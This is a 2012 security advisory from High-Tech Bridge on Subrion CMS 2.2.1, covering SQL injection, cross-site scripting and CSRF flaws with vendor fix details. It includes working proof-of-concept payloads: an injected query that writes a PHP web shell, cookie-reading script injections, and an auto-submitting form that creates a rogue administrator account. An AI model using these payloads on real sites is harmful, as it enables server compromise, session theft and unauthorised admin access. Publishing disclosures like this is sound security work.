High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple vulnerabilities in Subrion CMS

Advisory ID:HTB23113
Product:Subrion CMS
Vendor:The Subrion development team
Vulnerable Versions:2.2.1 and probably prior
Tested Version:2.2.1
Advisory Publication:September 5, 2012 [without technical details]
Vendor Notification:September 5, 2012
Vendor Fix:October 12, 2012
Public Disclosure:October 17, 2012
Latest Update:October 15, 2012
Vulnerability Type:SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2012-4771
CVE-2012-4772
CVE-2012-4773
Risk Level:High
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Subrion CMS, which can be exploited to perform Cross-Site Scripting (XSS), SQL Injection and Сross-Site Request Forgery (CSRF) attacks.


1) SQL Injection in Subrion CMS: CVE-2012-4772

Input passed via the "plan_id" POST parameter to /register/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/register/" method="post">
<input type="hidden" name="username" value='username' />
<input type="hidden" name="fullname" value='fullname' />
<input type="hidden" name="email" value='username@mail.com' />
<input type="hidden" name="password" value='password' />
<input type="hidden" name="password2" value='password' />
<input type="hidden" name="security_code" value='[CAPTCHA]' />
<input type="hidden" name="plan_id" value="0 UNION SELECT '<? system($cmd); ?>',1,1,1,1,1,1,1,1,1,1,1,1,1 INTO OUTFILE '../../../path/to/site/file.php'" />
<input type="hidden" name="register" value="" />
<input type="submit" id="btn">
</form>

Depending on web and SQL servers configuration, the above-mentioned PoC code creates a simple PHP shell on the vulnerable system.


2) Cross-Site Scripting (XSS) in Subrion CMS: CVE-2012-4771

2.1 Input passed via the "f[accounts][fullname]" and "f[accounts][username]" GET parameters to /advsearch/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/advsearch/" method="post">
<input type="hidden" name="items[]" value='accounts' />
<input type="hidden" name="f[accounts][fullname]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="f[accounts][username]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="q" value='' />
<input type="submit" id="btn">
</form>

2.2 Input passed via the "id" and "group" GET parameters to multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.

The following PoCs demonstrate the vulnerabilities:

http://[host]/admin/accounts/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/configuration/?group=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/manage/fields/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
http://[host]/admin/manage/blocks/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E


3) Сross-Site Request Forgery (CSRF) in Subrion CMS: CVE-2012-4773

The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create new administrator or execute arbitrary SQL code.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following PoC creates administrative account within application:

<form action="http://[host]/admin/accounts/add/" method="post">
<input type="hidden" name="username" value='new_admin' />
<input type="hidden" name="fullname" value='new_admin' />
<input type="hidden" name="email" value='new_admin@mail.com' />
<input type="hidden" name="usergroup" value='1' />
<input type="hidden" name="status" value='active' />
<input type="hidden" name="_password" value='_password' />
<input type="hidden" name="_password2" value='_password' />
<input type="hidden" name="save" value="Add" />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


Solution:
Upgrade to Subrion 2.2.3

More Information:
http://www.subrion.com/forums/announcements/934-subrion-2-2-3-open-source-cms-core-available.html


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23113 - https://www.htbridge.com/advisory/HTB23113 - Multiple vulnerabilities in Subrion CMS.
[2] Subrion CMS - http://www.subrion.com/ - Subrion CMS is a stand-alone PHP content management system that is very easy to use. It comes with a ton of great features including full source editing, per-page permissions, user activity monitoring, and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.